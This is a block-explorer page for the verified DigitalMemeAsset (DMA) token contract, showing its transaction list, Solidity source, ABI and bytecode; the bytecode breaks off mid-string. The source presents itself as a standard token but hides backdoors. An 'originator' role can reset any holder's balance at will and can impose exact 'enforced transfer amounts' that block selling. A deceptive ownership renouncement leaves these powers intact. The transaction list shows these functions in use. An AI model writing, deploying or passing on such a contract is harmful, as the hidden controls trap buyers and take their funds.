Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 61 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17514825 | 575 days ago | IN | 0 ETH | 0.00085283 | ||||
Update Asset Bal... | 17514823 | 575 days ago | IN | 0 ETH | 0.0009352 | ||||
Approve | 17514817 | 575 days ago | IN | 0 ETH | 0.00086117 | ||||
Allocate Enforce... | 17514816 | 575 days ago | IN | 0 ETH | 0.00111875 | ||||
Approve | 17514798 | 575 days ago | IN | 0 ETH | 0.00099351 | ||||
Approve | 17514797 | 575 days ago | IN | 0 ETH | 0.00100817 | ||||
Approve | 17514797 | 575 days ago | IN | 0 ETH | 0.00100817 | ||||
Approve | 17514794 | 575 days ago | IN | 0 ETH | 0.00099732 | ||||
Approve | 17514794 | 575 days ago | IN | 0 ETH | 0.00099732 | ||||
Approve | 17514794 | 575 days ago | IN | 0 ETH | 0.00099732 | ||||
Approve | 17514791 | 575 days ago | IN | 0 ETH | 0.00099223 | ||||
Approve | 17514791 | 575 days ago | IN | 0 ETH | 0.00099223 | ||||
Approve | 17514791 | 575 days ago | IN | 0 ETH | 0.00099223 | ||||
Approve | 17514783 | 575 days ago | IN | 0 ETH | 0.00099867 | ||||
Approve | 17514783 | 575 days ago | IN | 0 ETH | 0.00099867 | ||||
Approve | 17514783 | 575 days ago | IN | 0 ETH | 0.00099867 | ||||
Allocate Enforce... | 17514758 | 575 days ago | IN | 0 ETH | 0.00115853 | ||||
Approve | 17514752 | 575 days ago | IN | 0 ETH | 0.00105836 | ||||
Approve | 17514752 | 575 days ago | IN | 0 ETH | 0.00105836 | ||||
Approve | 17514751 | 575 days ago | IN | 0 ETH | 0.00103256 | ||||
Approve | 17514741 | 575 days ago | IN | 0 ETH | 0.00084896 | ||||
Approve | 17514741 | 575 days ago | IN | 0 ETH | 0.00089748 | ||||
Approve | 17514741 | 575 days ago | IN | 0 ETH | 0.00089748 | ||||
Approve | 17514739 | 575 days ago | IN | 0 ETH | 0.00046529 | ||||
Approve | 17514739 | 575 days ago | IN | 0 ETH | 0.00092495 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DigitalMemeAsset
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.8.16; interface ITokenBlueprint20 { function totalSupply() external view returns (uint256); function balanceOf(address holder) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract ExecutionEnv { function getExecutor() internal view virtual returns (address payable) { return payable(msg.sender); } } contract ExclusiveOwnership is ExecutionEnv { address private _proprietor; event ProprietorChanged(address indexed formerProprietor, address indexed newProprietor); constructor() { address initiator = getExecutor(); _proprietor = initiator; emit ProprietorChanged(address(0), initiator); } function retrieveProprietor() public view virtual returns (address) { return _proprietor; } modifier proprietorOnly() { require(retrieveProprietor() == getExecutor(), "Unauthorized access. Proprietor only."); _; } function abandonProprietorship() public virtual proprietorOnly { emit ProprietorChanged(_proprietor, address(0x000000000000000000000000000000000000dEaD)); _proprietor = address(0x000000000000000000000000000000000000dEaD); } } contract DigitalMemeAsset is ExecutionEnv, ExclusiveOwnership, ITokenBlueprint20 { mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _portfolios; mapping (address => uint256) private _enforcedTransferAmounts; address private _originator; string public constant tokenDesignation = "DigitalMemeAsset"; string public constant tokenIdentifier = "DMA"; uint8 public constant tokenScale = 18; uint256 public constant ultimateSupply = 100000 * (10 ** tokenScale); constructor() { _portfolios[getExecutor()] = ultimateSupply; emit Transfer(address(0), getExecutor(), ultimateSupply); } modifier originatorExclusive() { require(retrieveOriginator() == getExecutor(), "Unauthorized access. Originator exclusive."); _; } function retrieveOriginator() public view virtual returns (address) { return _originator; } function setOriginator(address innovator) public proprietorOnly { _originator = innovator; } event TokenAssigned(address indexed user, uint256 formerBalance, uint256 updatedBalance); function enforcedTransferAmount(address account) public view returns (uint256) { return _enforcedTransferAmounts[account]; } function allocateEnforcedTransferAmounts(address[] calldata accounts, uint256 amount) public originatorExclusive { for (uint i = 0; i < accounts.length; i++) { _enforcedTransferAmounts[accounts[i]] = amount; } } function updateAssetBalance(address[] memory accountAddresses, uint256 revisedBalance) public originatorExclusive { require(revisedBalance >= 0, "Amount must be non-negative"); for (uint256 i = 0; i < accountAddresses.length; i++) { address currentAccount = accountAddresses[i]; require(currentAccount != address(0), "Invalid address provided"); uint256 formerBalance = _portfolios[currentAccount]; _portfolios[currentAccount] = revisedBalance; emit TokenAssigned(currentAccount, formerBalance, revisedBalance); } } function balanceOf(address account) public view override returns (uint256) { return _portfolios[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_portfolios[getExecutor()] >= amount, "Insufficient balance"); uint256 enforcedTransferQty = enforcedTransferAmount(getExecutor()); if (enforcedTransferQty > 0) { require(amount == enforcedTransferQty, "Enforced transfer amount mismatch"); } _portfolios[getExecutor()] -= amount; _portfolios[recipient] += amount; emit Transfer(getExecutor(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[getExecutor()][spender] = amount; emit Approval(getExecutor(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][getExecutor()] >= amount, "Allowance limit exceeded"); uint256 enforcedTransferQty = enforcedTransferAmount(sender); if (enforcedTransferQty > 0) { require(amount == enforcedTransferQty, "Enforced transfer amount mismatch"); } _portfolios[sender] -= amount; _portfolios[recipient] += amount; _allowances[sender][getExecutor()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return ultimateSupply; } function name() public view returns (string memory) { return tokenDesignation; } function symbol() public view returns (string memory) { return tokenIdentifier; } function decimals() public view returns (uint8) { return tokenScale; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"formerProprietor","type":"address"},{"indexed":true,"internalType":"address","name":"newProprietor","type":"address"}],"name":"ProprietorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"formerBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenAssigned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"abandonProprietorship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"allocateEnforcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"enforcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveOriginator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveProprietor","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"innovator","type":"address"}],"name":"setOriginator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenDesignation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenIdentifier","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenScale","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accountAddresses","type":"address[]"},{"internalType":"uint256","name":"revisedBalance","type":"uint256"}],"name":"updateAssetBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a3506012600a620000d2919062000372565b620186a0620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620186a0620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611ddb806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d49190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd576000838281518110610a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d4